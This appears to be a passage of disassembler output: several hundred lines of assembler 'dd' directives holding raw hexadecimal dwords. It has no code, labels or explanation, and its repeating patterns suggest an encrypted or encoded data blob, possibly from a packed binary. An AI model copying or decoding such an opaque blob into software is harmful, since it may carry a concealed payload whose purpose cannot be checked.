		dd 0A8E5C376h, 137A0F50h, 1E24B32h, 75662232h, 9807E4CBh
		dd 0EAFCBAFh, 14EF4B34h, 0ED662232h, 959EC2CDh,	9169180Dh
		dd 1566447Dh, 16E62D52h, 95661132h, 94001EC6h, 744196FCh
		dd 4DDE7260h, 0E26F2B61h, 202EC8E2h, 0E3A3E890h, 143EE0BBh
		dd 73064BE5h, 0C66C57B3h, 0FC07BCB9h, 1566238Dh, 1573953Dh
		dd 58F8832h, 0D8664432h, 0B9456508h, 199E7BEBh,	509EA1ACh
		dd 965F7226h, 976972CAh, 156611BAh, 156E013Dh, 1A064432h
		dd 156622B2h, 7D007032h, 9C00991Ch, 85D5602Eh, 4E00FABAh
		dd 156600DBh, 0FA564932h, 8EC4C584h, 805D0AEAh,	0BF5981A6h
		dd 75CC68B4h, 7394FB3Dh, 74AFD78Dh, 464215B9h, 0D6E76BBBh
		dd 15664436h, 9262E1B1h, 1A3A352Eh, 15668CB1h, 4B362432h
		dd 1F8F8853h, 69661132h, 177EE79Bh, 451963B8h, 19EB2D1Ah
		dd 1A661132h, 15668EB2h, 15E34B32h, 0FC662232h,	156611BEh
		dd 1567043Dh, 0EC934432h, 4D4216CDh, 1562D5B3h,	9F698832h
		dd 15664426h, 15662DDBh, 0E1672332h, 2A02BB9h, 0B9894263h
		dd 63FAEA37h, 6AE6E898h, 906961CDh, 15664466h, 156632DBh
		dd 5200ED32h, 8887ECADh, 10274E47h, 90734F39h, 77DB92FAh
		dd 156094B5h, 1571C03Dh, 43062232h, 15669F3Dh, 73388832h
		dd 980793B9h, 0EAE68AFh, 0C699E434h, 311DE0CAh,	19EF4432h
		dd 15629B16h, 0EC671132h, 753F89BAh, 7391CF54h,	74A5BF88h
		dd 0CEB94B9h, 9E698E27h, 1566443Ah, 1564AB3Dh, 74061132h
		dd 156A093Dh, 92694432h, 15662234h, 15669B3Dh, 0E5638832h
		dd 3C5DEB65h, 45D874CAh, 94398113h, 0A858D8D4h,	7588C50Ch
		dd 3C84C2FAh, 94064FC2h, 4E8BA3E2h, 0F7E72219h,	7D07167Ah
		dd 156621A1h, 0A842A4BBh, 15664436h, 753BCA1Bh,	156605DBh
		dd 7A22E932h, 2550F9BFh, 0BE757478h, 4F5FCBFFh,	0A599786Ch
		dd 1CDE22FDh, 1ACD43D8h, 15661BB7h, 0E2EDE832h,	1566C93Dh
		dd 0B8072232h, 1567933Dh, 479A8832h, 200A8F5Ah,	3172A90Eh
		dd 9462D5B1h, 0DFF5BDF0h, 0E930CDF1h, 758FDB68h, 0ED99EEC9h
		dd 1FF73DBBh, 469E4227h, 0D6E7C1BBh, 15661136h,	156263B3h
		dd 9E14432h, 1EF7E16h, 150EE916h, 1A6688B2h, 156645B7h
		dd 150CDE32h, 156617DBh, 0EF081232h, 0EA2C2C12h, 6D8787h
		dd 94067134h, 0C87147DBh, 1569AD4Dh, 8EB12232h,	591264CDh
		dd 0E9D70E4Fh, 683C1AD6h, 0AE004306h, 0EA073560h, 60D9A7h
		dd 1DE24B34h, 1A662232h, 156613B9h, 9E07E832h, 9C376026h
		dd 11A7A3D3h, 96661132h, 19E18CF3h, 93691816h, 15662239h
		dd 4CA69052h, 95365BF8h, 9E0762F5h, 7F6FBFh, 0AC007134h
		dd 0FDE69039h, 0AB3025C3h, 15662232h, 21ED20BBh, 11A20B16h
		dd 0E6ED2252h, 0F966F5B3h, 46073E4Ch, 15668C89h, 9EBF4532h
		dd 0D1E7062Eh, 15661136h, 156684DBh, 0D84D0D32h, 18362868h
		dd 0DA5E7765h, 58EB0128h, 1A60512Bh, 156631BEh,	1568F832h
		dd 3B458832h, 0B121F1BBh, 0A2C28ED2h, 0C2DD12E2h, 0EAA133DBh
		dd 0A03024CDh, 0FC0779B7h, 15661120h, 0A69F636Ah, 89FB5A04h
		dd 97930807h, 68BADD61h, 8A8FC3A4h, 0EC664418h,	1569CB52h
		dd 710E1132h, 9DE933Ah,	0F6B61325h, 0DB8F660h, 58EB9A79h
		dd 0FC609D2Bh, 1566443Ah, 98BA5ED0h, 5BA6736Eh,	19EDB9CDh
		dd 11A2C716h, 0FCBCA952h, 15661126h, 321DB23Bh,	521ADFB4h
		dd 0B8D7FB77h, 0B9AA529Eh, 67A4F5C2h, 4BEBCD53h, 0FC603EB5h
		dd 15661126h, 0ED3D398Dh, 23C18085h, 75026288h,	0AF05176Fh
		dd 52889BD9h, 41287CB3h, 90696E76h, 1566115Bh, 15668EDBh
		dd 207BBC32h, 0EC2E7993h, 111E9054h, 9069A67Eh,	15664463h
		dd 1567A93Dh, 7D9E1132h, 1566FCDBh, 4B4240BBh, 15662EDBh
		dd 0D29A4B32h, 15327E01h, 9ECCE624h, 13DB777Bh,	94661132h
		dd 8E1328F4h, 9488457Eh, 8E1382DCh, 9E9A4C7Eh, 769DB7h
		dd 918FB834h, 1A662237h, 156619B1h, 9E00E832h, 0E6A5C4CCh
		dd 607D4A53h, 11EF1132h, 9569D616h, 15664437h, 0DDED4452h
		dd 58F7153h, 8B668832h,	7FF9899Ch, 7BE37BCh, 8C5A7751h
		dd 1A419933h, 4307928Dh, 0E7EFE4BBh, 944225B9h,	15668CF6h
		dd 1E14B32h, 0FC662232h, 1566113Dh, 0ADA0D223h,	0AA9F1B53h
		dd 0F4B1F259h, 241C2BFCh, 156361FBh, 19234432h,	0B9EE3AE7h
		dd 15799E3Dh, 96698832h, 1566442Bh, 156636DBh, 9FFA0D32h
		dd 0C8443083h, 0E13751A3h, 0D2FA0E9h, 9F2462FEh, 155A7055h
		dd 140FC03Dh, 299E2232h, 0DDE21E1Fh, 1A9977CDh,	156646B6h
		dd 29074232h, 0A8E21E1Ch, 1A668832h, 156645B7h,	255ADB32h
		dd 10E2933Dh, 75068832h, 1566C73Dh, 0A2692232h,	750770E8h
		dd 746E57B2h, 93697D0Eh, 0EA99DDBDh, 1568F852h,	36B8832h
		dd 237805A7h, 5AED0261h, 17E5B3ABh, 545AE9CEh, 102AC63Dh
		dd 138F2232h, 0C0661132h, 0CDEC45E9h, 1A3C7813h, 0EA997CB4h
		dd 1561F8CDh, 0C7998832h, 0C2D00954h, 1A391E05h, 0EA995BB6h
		dd 9069E8CDh, 15664433h, 0D1A8A3CBh, 746A1619h,	9769E90Eh
		dd 1566413Ch, 1561AD3Dh, 9C691132h, 15668833h, 1A1C78CEh
		dd 0EA993CB4h, 0FC9EE8CDh, 15668CC0h, 156BAD52h, 7CC92232h
		dd 0D43F8645h, 0A30816B9h, 1AF4C780h, 156620B3h, 749D9A32h
		dd 15673765h, 0EF674432h, 1569CB6Dh, 25791132h,	7AB55CCFh
		dd 0E8472550h, 0B2FD3D29h, 0CAED7125h, 0D08B47B3h, 2C0745C1h
		dd 0B2E22DC0h, 1A661136h, 156691BCh, 1572AD32h,	53B42232h
		dd 46F76203h, 13AE07F7h, 9B1EBAD2h, 3439FBC9h, 0AC3723A1h
		dd 0EA9977CDh, 0EC3F8E33h, 1567AA3Dh, 47931132h, 0EA997788h
		dd 4FB76DCDh, 1572CBCEh, 0E6471132h, 6EFEB465h,	68DB6EFFh
		dd 0EB7E197Fh, 0BEDAA652h, 618FC3F6h, 7599BBCCh, 94B6A954h
		dd 0BDB3FE9h, 909AE90Ch, 2EE24BFBh, 0FC662236h,	1566113Dh
		dd 22C5420Bh, 9360C20Ah, 72F0E06h, 986F8938h, 44B187h
		dd 13E74B34h, 75662232h, 0C03CA954h, 19EDDA53h,	11A2C516h
		dd 1A662232h, 156619BCh, 0AE00E832h, 74067753h,	14EE2D53h
		dd 0ED661132h, 9C6264B1h, 39E76026h, 686B4316h,	0D2E74E22h
		dd 51B8553h, 156641DBh,	0DBD4C132h, 45379337h, 0F1E6A386h
		dd 4882C467h, 9582E6B2h, 0E1E6BEFEh, 4D87003Dh,	0E4E68DCCh
		dd 4CAEAAC3h, 156616DBh, 7971B332h, 3F3A5198h, 0E99B579Ch
		dd 0CCD847C7h, 3C50A57Ch, 0EC4F1AC3h, 5BBFE3B3h, 0A106271Fh
		dd 158809CFh, 742E051Ch, 156DCA52h, 0ECF51132h,	9145D7F9h
		dd 6EE595DAh, 4A0742FCh, 0D798BE8Ah, 0EA37E927h, 191603Eh
		dd 93697B16h, 15661138h, 15668DDBh, 71E20B32h, 0AD36FF46h
		dd 1C194B8Ah, 386260F3h, 6FA76489h, 10579F07h, 3B063472h
		dd 0F5A79E2Ah, 59117134h, 0D24F1313h, 94A9386Ah, 3D3AFFF5h
		dd 156FAD07h, 40BA2232h, 0B085C855h, 0ED931F71h, 118AC565h
		dd 9C662232h, 4B393506h
		dd 156699DBh, 0E4F5732h, 38AA70D9h, 9B2C0915h, 7CFFDC07h
		dd 0B1956ABBh, 1560A23Dh, 75061132h, 74953853h,	0D50BF462h
		dd 184A21DAh, 9E9956BAh, 0D1E7AC36h, 15664436h,	156624DBh
		dd 193AE632h, 982DB090h, 447DA7h, 1DEB2D34h, 1A661132h
		dd 15668ABDh, 9E072432h, 62A3B7h, 156EF834h, 67DF8832h
		dd 533B6407h, 0D5E35638h, 1559943Dh, 0D3938832h, 6F81B7h
		dd 9B696534h, 15661133h, 0B2B4E0CEh, 0EA9A90A8h, 4E3387h
		dd 1576F834h, 0E5168832h, 88189943h, 796D3C0Eh,	0F2AEB70Ch
		dd 90EB4831h, 137E368Eh, 75B6DDCAh, 0ECED77CAh,	0F6EFDB53h
		dd 156287B3h, 0FEE72232h, 15661136h, 494294B5h,	754250BBh
		dd 156629DAh, 0A087DD32h, 9B9E449Dh, 6E16F49h, 5486A354h
		dd 749E4BA7h, 0FC0658CDh, 15664421h, 0F189AC16h, 7F2997D1h
		dd 26C4612Ch, 495403D1h, 0FCE1660Bh, 1566113Dh,	0E6443651h
		dd 84675D1Ch, 2819C8E3h, 747A58DCh, 16EA8752h, 1A664432h
		dd 9469E185h, 15661131h, 746A69B2h, 906984B7h, 15662311h
		dd 156618DBh, 0E9A55532h, 58B30F2Ch, 18F9011h, 3B661132h
		dd 37F95D3Fh, 0A89503B8h, 8A3F8F3Eh, 0A8528C34h, 9E7777A5h
		dd 6191B7h, 0D5E3DE34h,	150C943Dh, 0A1068832h, 156AADFEh
		dd 0B8E42232h, 46C5974Dh, 598CA44Dh, 0D307A829h, 6FE7B7h
		dd 91695D34h, 15668820h, 156649DBh, 7879FF32h, 58997293h
		dd 1E2E2B87h, 0FC0E9ED4h, 75BFF82Eh, 74919A54h,	3D773DCDh
		dd 0ED934227h, 67DAA7BFh, 138F172Ah, 66668832h,	0FDF18453h
		dd 75B6DD18h, 15609B3Dh, 0FAE78832h, 2EFDB31Ah,	0ED077A62h
		dd 94819865h, 15668CF5h, 1189C532h, 92662232h, 9C3A350Eh
		dd 78FAC26h, 0DB664432h, 6377AC1Ch, 0B8CB29D6h,	91D736A2h
		dd 7FFEE164h, 1577CB03h, 37471132h, 0D584971Eh,	0E341AFFCh
		dd 3D81E5C2h, 0EAE22122h, 10E687E2h, 75664432h,	74BEA9C7h
		dd 9069D1B7h, 15668819h, 0FFE72252h, 0FC063C41h, 15661138h
		dd 0AED94172h, 97E1A0E1h, 0AA69910Fh, 0FC0770CDh, 156688E0h
		dd 0D3ED2252h, 0A774CBB3h, 9C071134h, 9E1D6B7h,	0C7E62434h
		dd 0F2D944EFh, 9C37700Fh, 11A709D3h, 94664432h,	156626DBh
		dd 316A9632h, 3162016Eh, 156FADCEh, 11C72232h, 0C913C626h
		dd 46EAC586h, 0D6E7A7BBh, 15662236h, 9262FAB1h,	9C3AAC2Eh
		dd 48F6006h, 0A9662232h, 64172DCCh, 7F39B45Eh, 67C29FCh
		dd 5EF431DDh, 995994BFh, 0FC068E2Ah, 15664423h,	88BB545Ah
		dd 0DAEE7E6Bh, 0F3D91658h, 4648C974h, 0D6DC44EAh, 0C599703Dh
		dd 1567083Dh, 1E9F4432h, 0EE32DF2h, 0ED661132h,	15610F3Dh
		dd 93694432h, 15662233h, 1542F8CEh, 73068832h, 50609DB3h
		dd 51EF43CAh, 68F0D16h,	0D0668832h, 955B158Eh, 0CC6C5FDAh
		dd 8C30C5Ah, 189E2972h,	7507385Dh, 1A77EBB2h, 156613BDh
		dd 74123F32h, 0D7ED24F1h, 3AB00E89h, 1E8F703Ch,	28668832h
		dd 8F7E131Dh, 0C9BF043Dh, 1A06640Ah, 156689B0h,	98EDBC32h
		dd 137AA56Ch, 1561943Dh, 91698832h, 15664433h, 49704ACBh
		dd 11EF1132h, 14E88716h, 0ED664432h, 42ABAB67h,	0EDEFFEBBh
		dd 4693D56Dh, 15667889h, 14A5A332h, 1429A342h, 148D09F1h
		dd 1629F642h, 7D9E7931h, 1566114Fh, 0AC4284BBh,	156644BAh
		dd 4EDE333h, 80EFE46Bh,	13738527h, 0F6DD17CAh, 94086122h
		dd 8A3ED3F1h, 0F6E7CB25h, 65C0F45h, 43A1C1B3h, 0E6E74B14h
		dd 5A36E36Ah, 3F00FC62h, 0D64F6D40h, 4EBE106Ah,	9EA40352h
		dd 0F50E25E8h, 9C662233h, 19DD352Eh, 14668832h,	4E75CFF1h
		dd 156631DBh, 4A2F1232h, 2390FD23h, 206CA5C9h, 6918C1Ah
		dd 5D5C3548h, 214B1DBBh, 0E09F4227h, 434226B9h,	0D3E7F7BBh
		dd 15668836h, 926282B1h, 0FC3A0606h, 15661134h,	0C2C4ADE8h
		dd 61998D71h, 11ED0616h, 11A29216h, 156E083Dh, 98694432h
		dd 15662230h, 8B637052h, 10637156h, 1B316D03h, 244BEA1Bh
		dd 3868461Bh, 109FECACh, 1561C93Dh, 42062232h, 0EED11E6Dh
		dd 38E3B353h, 1A605106h, 156664B0h, 9E9A7132h, 2E9EE9C8h
		dd 6B51B7h, 21E52D34h, 1A661132h, 156689BCh, 1A07B832h
		dd 156626B2h, 89D77132h, 15624A53h, 157FC73Dh, 18F2232h
		dd 0A3661132h, 0CDFD2AB3h, 81F37F1Ah, 93CC1DA2h, 4ACC6FD2h
		dd 74657EFAh, 316283CAh, 5C787577h, 944205C5h, 76CEAC36h
		dd 21E71534h, 0AB3C4316h, 3162906Eh, 4FF9C57h, 944240CDh
		dd 111F0606h, 39E704BEh, 83465816h, 314AC531h, 60AB6F72h
		dd 9A909052h, 734F4DA8h, 75078BB9h, 4307E5B9h, 67297961h
		dd 943DD272h, 204D51C1h, 4F8DA361h, 9C6F646Bh, 61EFD3ECh
		dd 1A384C16h, 156632BEh, 156DF832h, 0E3998832h,	0BB6B758Ah
		dd 0FA137230h, 94DB4457h, 940E3825h, 7F7DB7C7h,	0EA8BA315h
		dd 9499EECDh, 65144D7h,	828BC529h, 945E6F45h, 317ED5C7h
		dd 7D930914h, 9C92A4A6h, 1A067FDAh, 156611BFh, 0D4E7D832h
		dd 5AD192B0h, 98EB4368h, 13735EACh, 1567023Dh, 0EA9A4432h
		dd 7506DBD3h, 0EDBFC489h, 7407395Fh, 156649DBh,	39E35332h
		dd 0B4FC13BAh, 0BC1BC9A0h, 46340B5Ch, 0E4223489h, 5170AB10h
		dd 0CF4FAAC3h, 9F944569h, 299F7830h, 78E21EDBh,	0FC668833h
		dd 1566443Dh, 0AF7BE504h, 0A652FA57h, 71C915B1h, 758F9FC3h
		dd 1A9DA954h, 2907D185h, 0A6E287DAh, 75664433h,	1563A43Dh
		dd 94001132h, 9480A4DCh, 9E861CD5h, 1A5A4311h, 1505953Dh
		dd 299A8832h, 0EDE24BFFh, 0E9662233h, 9169FA0Eh, 15668A5Eh
		dd 156649DBh, 26445C32h, 0EB970051h, 6FFBCC2Dh,	9469A1BCh
		dd 15662226h, 15661EDBh, 3A3F5532h, 0E1891A01h,	50A0D33Bh
		dd 0C95F95E0h, 19E98753h, 0FC664432h, 15662235h, 846B8387h
		dd 0D6911F17h, 156648DBh, 608A6432h, 4A4D6251h,	0AEE51971h
		dd 14DF1565h, 14662232h, 15DE41C3h, 14668832h, 4D7ECEFAh
		dd 1BEA2D6Bh, 75661132h, 9D0442B3h, 0CCE76541h,	65DE1464h
		dd 4400E453h, 0FE467887h, 316ACF54h, 0FC64E6B1h, 1566113Ah
		dd 353FCC59h, 0FC54A6A3h, 1AE6D9B2h, 0EA999EB7h, 0C6E7E8CDh
		dd 30C613C0h, 1560A03Dh, 0DDE71132h, 5CF47F92h,	0AA692453h
		dd 4307DAF8h, 96420DB9h, 0A6068CF6h, 463025ECh,	5A63B989h
		dd 0D6E75A53h, 8BD6725Eh, 143D9ABBh, 48F7CC1h, 0C8661132h
		dd 0C86ECEC9h, 0C1747F7Dh, 0A97FF12Ch, 9F2F4517h, 15643062h
		dd 0C04B4432h, 14101424h, 3B314C2h, 0D65FE04h, 0C58FBD6Ah
		dd 75662232h, 1563923Dh, 36DC8832h, 754F4B03h, 73AD953Dh
		dd 7407DEB9h, 9467FECDh, 52306006h, 403D5FD2h, 0B36CF28Fh
		dd 94B37F48h, 5B5AD4D7h, 94B3D501h, 0F8612FF7h,	6A30939h
		dd 9470D50Bh, 0C32D34C7h, 488D206Eh, 25773652h,	9269182Bh
		dd 15662236h, 4CD5AE54h, 0EE9D0B53h, 1459C03Dh,	9B692232h
		dd 15661128h, 15766152h, 0F0044432h, 73CE706h, 4B98DFCFh
		dd 298BF1FEh, 9E00EBFCh, 463043C5h, 2B49AE89h, 313AA17Bh
		dd 943D1F36h, 2B499DF1h, 0AF34E47Bh, 15668833h,	1DD9AEB3h
		dd 0E7672BC2h, 1DD9D3B3h, 0F6581C2h, 9C69BD68h,	15662233h
		dd 10DE41CEh, 94668832h, 0C82C7AF1h, 94A52315h,	0C82C2FD9h
		dd 0EC06D015h, 2DED8FB3h, 0FC0763C6h, 0EA99EF62h, 74BE0252h
		dd 156FCA3Dh, 0AA062232h, 7E4AC83Fh, 1A07D161h,	75671A84h
		dd 1565A73Dh, 0E4E61132h
		dd 156061FCh, 0C644432h, 81C0301Fh, 1A8F7153h, 57668832h
		dd 0F6BC2B49h, 942A5A6Eh, 1E68D7AAh, 1A060ECEh,	156644BFh
		dd 74397032h, 3B8D9253h, 0E89C0C3Dh, 0FC06BBCDh, 15662239h
		dd 6631615Ah, 6CA55CDh,	1A87C3EBh, 15662EB0h, 1561F832h
		dd 978C8832h, 0F03D9830h, 5F8F4361h, 75661132h,	0A4375E8Ch
		dd 0CBED2225h, 14E42D53h, 0ED661132h, 0EB67F6B2h, 0E8D0C13Dh
		dd 4406DDCDh, 156619DAh, 0F9E7D032h, 0B7C620Ch,	1A3F7C2Bh
		dd 156606B5h, 15776032h, 4C7E4432h, 9FD1AC6Eh, 0A50821E8h
		dd 3E7B36F6h, 4A107663h, 0E963CB53h, 9E06EECDh,	157560E3h
		dd 5D324432h, 90DEF830h, 0E51B6F8Fh, 9DC0F6F6h,	3EACF57Eh
		dd 4A6595A6h, 3D267953h, 21EF8832h, 1569AD16h, 0BB0B2232h
		dd 0D65B4390h, 456EEBAEh, 0B5947909h, 0CFE74230h, 7D203100h
		dd 1090E053h, 19EF4432h, 14E02D16h, 0EC661132h,	94810165h
		dd 156640F5h, 1189A132h, 49422DB5h, 754294BBh, 0D574FF54h
		dd 1566A13Dh, 7D071132h, 15669EC0h, 0FC4278BBh,	1566223Fh
		dd 5665C9BEh, 8D29AC67h, 0E47CDF26h, 0FCA61303h, 15661120h
		dd 173DBB28h, 719699C9h, 9C949E22h, 6A607033h, 0FCCA5D0Bh
		dd 1566443Fh, 0E464CB8Ch, 96FEA53Bh, 88E6F042h,	0D4EE15ECh
		dd 19EDE9BAh, 11A29216h, 4700D9CBh, 0C4EE1780h,	0FCE67854h
		dd 4CAD3151h, 659D08C7h, 105AC03Dh, 75062232h, 1566943Dh
		dd 0E0E68832h, 29072592h, 0C2E22D3Dh, 0FC661132h, 15668834h
		dd 9EE565DDh, 0FC5AC792h, 1F99953Dh, 91698832h,	15664435h
		dd 1567A73Dh, 299A1132h, 0F9E287D9h, 1A66443Ch,	156620B5h
		dd 75077132h, 156B6152h, 0A0FF4432h, 7A2A3C65h,	5E86ED7h
		dd 741FF294h, 0F65A25CBh, 1677A63Dh, 1C8F1132h,	48668832h
		dd 6FB4EFB0h, 0B89211FFh, 9169F30Eh, 156698B1h,	0E8ECB852h
		dd 3152DD53h, 11A2926Dh, 15668FDBh, 19CC0932h, 0E95C6202h
		dd 46420DB9h, 0D6E76BBBh, 15664436h, 1562E1B3h,	9E11132h
		dd 138FD416h, 0D3664432h, 0D4DCD3A7h, 3152EED4h, 11A20B6Bh
		dd 13E74BC7h, 75662232h, 3D39AF54h, 31527753h, 11A2C56Ch
		dd 75662232h, 4C077163h, 0FC064B53h, 1566443Fh,	0D8C27061h
		dd 0FDEBA19Fh, 0C0314A72h, 90A12503h, 137AAA1Ch, 15661134h
		dd 15670F3Dh, 459A4432h, 1566228Ah, 25F21432h, 0E567B8D4h
		dd 0F356D01Fh, 4D7EA802h, 73BC9A52h, 4C0857B3h,	45342253h
		dd 0D9989C86h, 9DABFDB2h, 0C646D0D0h, 1A061E54h, 9400E085h
		dd 74FBC0FDh, 1AE673B2h, 0EA9904B7h, 0AD36DACDh, 0EA99EECDh
		dd 1A3E4E33h, 156645B9h, 90EDDE32h, 13731673h, 0D2E67052h
		dd 80ED2535h, 13730403h, 156605DBh, 0E46C0D32h,	29900FB3h
		dd 8B070B3Bh, 6922B1D6h, 84EF6A6Ch, 749A241Bh, 156C075Ah
		dd 31529832h, 0F9E77D69h, 15664436h, 0AF4236BBh, 15661134h
		dd 753C5B33h, 5DF36F8Dh, 930E437Ah, 9C66113Ah, 17DEAC36h
		dd 14664432h, 4D7E21C2h, 1ABE2ACAh, 15669EB0h, 0CF5DBC32h
		dd 0EBDDA43Dh, 9669EECDh, 15668835h, 1567CD3Dh,	479E2232h
		dd 0F2E4788h, 0DFE7CA4Ch, 45DC3E42h, 0D7E7F0C5h, 2D890658h
		dd 0D7E752C5h, 0E4CFA580h, 3C3CF133h, 0D58D90C9h, 0E051FD76h
		dd 1560FC62h, 0D64F2232h, 944215B9h, 15668CF6h,	14E64B32h
		dd 0E0662232h, 9769BC54h, 15668835h, 1567CA3Dh,	739F2232h
		dd 1561F899h, 290F8832h, 8A5BB218h, 1572CBE8h, 51511132h
		dd 27FF4C7h, 0B22E1B18h, 9D426248h, 66D0D058h, 0CD57419Eh
		dd 0CD578703h, 420689CEh, 1566993Dh, 0E03F8832h, 11DE1453h
		dd 94662232h, 0FA79F2F4h, 94A0896Fh, 0FA79A7DCh, 1A8F7A6Fh
		dd 0F661132h, 0E06E6608h, 43E076Ah, 558314AAh, 1A065CABh
		dd 0AC004B8Dh, 9C075D16h, 1A8F060Eh, 0AB661132h, 4B8115B9h
		dd 0FA084DC9h, 0A7EC3DF6h, 61EFDF3Dh, 1A068416h, 156646B9h
		dd 1A3F7132h, 156610BAh, 0FC077D32h, 15664420h,	2C2667AEh
		dd 78C65292h, 0CCA0F53Eh, 0A29B218Eh, 0A0EFC401h, 13731743h
		dd 15610F3Dh, 9A694432h, 15662233h, 1574F8C7h, 0B76B8832h
		dd 2E310CDDh, 97E3C5E8h, 18F3DB71h, 3C42B7F8h, 4A4270CDh
		dd 0FC62E6B1h, 15661138h, 52984E5h, 0D2300283h,	9ED73CFh
		dd 0F6EF4216h, 15624BB3h, 0D6E54432h, 317AA536h, 1569F86Eh
		dd 39F48832h, 3F45815Dh, 9CF49B81h, 986F59D3h, 31527795h
		dd 11A2C76Bh, 1567A83Dh, 0EA931132h, 9438AC06h,	156640F6h
		dd 1563CB32h, 47DA1132h, 449831F5h, 0D4E7A5BBh,	15662236h
		dd 9262D0B1h, 31EDAC3Eh, 0E2ED2416h, 0CA91CB53h, 0D293EECDh
		dd 9EEA6B7h, 15664634h,	94304232h, 772BCEE5h, 0C6EDD756h
		dd 798A2C53h, 1EF2232h,	9C949816h, 9F69D2E1h, 1566443Ah
		dd 1564AD3Dh, 74061132h, 75683E3Dh, 1ABCF33Dh, 156620B2h
		dd 74077132h, 1AE671B2h, 156619B1h, 0AB30D732h,	6E320AD9h
		dd 14387B1Bh, 0FEA5C5F9h, 751D7629h, 0D48D9054h, 4C9EDBFAh
		dd 156BAD53h, 0DCD82232h, 1BF44D2Fh, 5C1DDC2Dh,	43E24C75h
		dd 1566238Ch, 4B951032h, 17EE8752h, 0A7664432h,	0D7ED7341h
		dd 108F7068h, 2D668832h, 370876CBh, 1566A9DBh, 949F7132h
		dd 0E77546EBh, 0A734254Bh, 0BEACA2B1h, 0D520A063h, 0C49080DBh
		dd 25CDB5B2h, 0C44E7BF8h, 1561F868h, 0B2418832h, 2D154691h
		dd 9917360h, 316A9A16h,	15624CB3h, 42064432h, 4D97A954h
		dd 0E508A58Dh, 0ED06E95Dh, 233EB4B3h, 4007302Eh, 1566EE8Fh
		dd 9E8FA932h, 0D1E5601Eh, 1C8FDE36h, 0EF661132h, 0FC01EDBCh
		dd 39E0EABBh, 1F80E1B3h, 0D6E73ED4h, 0F19F6ADh,	0FEE78F1Bh
		dd 0F195CADh, 1F80FAB3h, 0ED06A7D4h, 74A9FB3Dh,	1227A7B9h
		dd 90691727h, 1566883Eh, 1560CF3Dh, 9E692232h, 15661132h
		dd 33571DB9h, 98694227h, 15662220h, 15661CDBh, 0D88432h
		dd 0E1A5D1BAh, 0CC02F58Fh, 9369D5C0h, 15668833h, 44DBC7CBh
		dd 1460372Ah, 11C2953Dh, 96698832h, 1566443Eh, 82DF4452h
		dd 15E21EF8h, 74668832h, 9769870Bh, 156626B8h, 1AB528C7h
		dd 0EA9DFCB0h, 1560ADCDh, 290A2232h, 78A87B6Dh,	1562F9DBh
		dd 156CAD32h, 28FA2232h, 3A27450Fh, 5D7CE859h, 156AC63Dh
		dd 73062232h, 4DE5F7B3h, 91A40954h, 90A12542h, 137AAA1Ch
		dd 15661130h, 4369E0CEh, 21EF4432h, 9F067916h, 0DFED77F1h
		dd 1BD08753h, 1567C43Dh, 959E2232h, 966991CBh, 1566886Eh
		dd 1C8E1752h, 54662232h, 0EA6FDB4Dh, 2D7C78A1h,	749E1C6Ah
		dd 4AAAC9B3h, 0FEE77B53h, 6762F306h, 0D6E78F33h, 67625906h
		dd 4AAAD2B3h, 4793E253h, 0EA99BB88h, 4FB50BCDh,	156601DBh
		dd 0CC107432h, 0C766747Eh, 91BB8503h, 6208D0C0h, 15A16130h
		dd 108F4432h, 47662232h, 0EFB33751h, 3BD4DA61h,	9D5FAEB2h
		dd 0D2E678E5h, 31819197h, 95EE7FB2h, 0E2E69CC5h, 0EB89A29Fh
		dd 1A3DE81Ah, 15669FB0h, 1574AD32h, 4D412232h, 0BD2F63D7h
		dd 511657B6h, 0DE1ABBFEh, 25BF60C2h, 15661CDBh,	30330232h
		dd 0A2ABF2A1h, 0B01A63B1h, 0E4E19374h, 0E4E15EC5h, 1572AD73h
		dd 1B062232h, 6A2BE88Fh, 898FD854h, 201034F3h, 50FBCFEh
		dd 198FCEB9h, 39668832h, 34A9C1E0h, 0B908FD1h, 457DE4EFh
		dd 483FA98Ah, 15674116h, 54432232h, 0D4219C49h,	144B8CD2h
		dd 342691BDh, 108F7AF3h, 98661132h, 8704D7Ah, 3F55F967h
		dd 942364B9h, 7F8DFFDFh
		dd 488DA1D0h, 0D6E78F1Bh, 71461C74h, 54E39AC7h,	0FC609D35h
		dd 15664434h, 60883324h, 80ED30AFh, 1373AE03h, 156CAD52h
		dd 0B2762232h, 576A6D00h, 8DD3A86Fh, 15664FDBh,	777F6332h
		dd 0E3ACBB29h, 9A71ACAFh, 44DBC753h, 1460372Ah,	17A2953Dh
		dd 188F8832h, 51664432h, 0A3DC1656h, 3B3CF854h,	37AB8B10h
		dd 97699C09h, 15662211h, 1561933Dh, 92698832h, 15664433h
		dd 1AB51BCEh, 0EA9F99B4h, 156F61CDh, 0D1494432h, 238992EDh
		dd 4359ED40h, 9E4284CDh, 0D1E76006h, 15662236h,	0A0919A52h
		dd 4700E9D2h, 0E5EE2184h, 0FDA67854h, 19531536h, 21A676FBh
		dd 12EF4BC1h, 75662232h, 9EF4CBB2h, 0FCCCE9F1h,	1566443Ah
		dd 1602D345h, 1F86035Dh, 15663361h, 0E6674432h,	9ED29B8h
		dd 11A29016h, 1A668832h, 15664CB5h, 97694232h, 15661132h
		dd 0EBD3D953h, 0F0A681CCh, 1593A235h, 19EDF9BAh, 11A20916h
		dd 1A664432h, 156623BFh, 0A334E932h, 95A87627h,	0CB903CDCh
		dd 955AD4B2h, 0E3E60EC4h, 0D588582Ah, 0D3E64CD4h, 0FC88A2CAh
		dd 753CE012h, 1563093Dh, 94004432h, 0ED0BAAE8h,	1577F853h
		dd 36458832h, 0BA9181Ah, 6E2FD586h, 0BB619F5Eh,	1DABCF86h
		dd 0E0CCBDFAh, 39FDC9B3h, 0EE4F21ADh, 39FD3062h, 0D66774ADh
		dd 9406DE6Ah, 2DEE92D8h, 15746137h, 73274432h, 42656E40h
		dd 78D788BEh, 9C6D8961h, 0FB9BB61Ah, 118AA353h,	9C661132h
		dd 11DBAC1Eh, 3C664432h, 1A8F7FD9h, 9A661132h, 0EEE38EE5h
		dd 0A0DD4D5Ch, 8C996DF3h, 463695C0h, 317A036Ah,	756280B1h
		dd 74BC9D3Dh, 9E69BAC7h, 1566883Ch, 15E14B52h, 94662232h
		dd 0FB119FD5h, 0A833E915h, 15664430h, 5742CCB3h, 0FB6713CAh
		dd 57424EB3h, 0FC3B46CAh, 15662234h, 0E2F8A3A1h, 0A0EF89B1h
		dd 13734243h, 156FA63Dh, 0EC061132h, 15660C3Dh,	0D2074432h
		dd 7E73B7h, 15661034h, 9C307D32h, 11DD17D4h, 14662232h
		dd 0D3E54AECh, 31520F36h, 83D9246Eh, 75798A98h,	0A47FAB54h
		dd 7407D064h, 156657DBh, 1E0E4532h, 0E3CC5EF4h,	0FB8AD98Fh
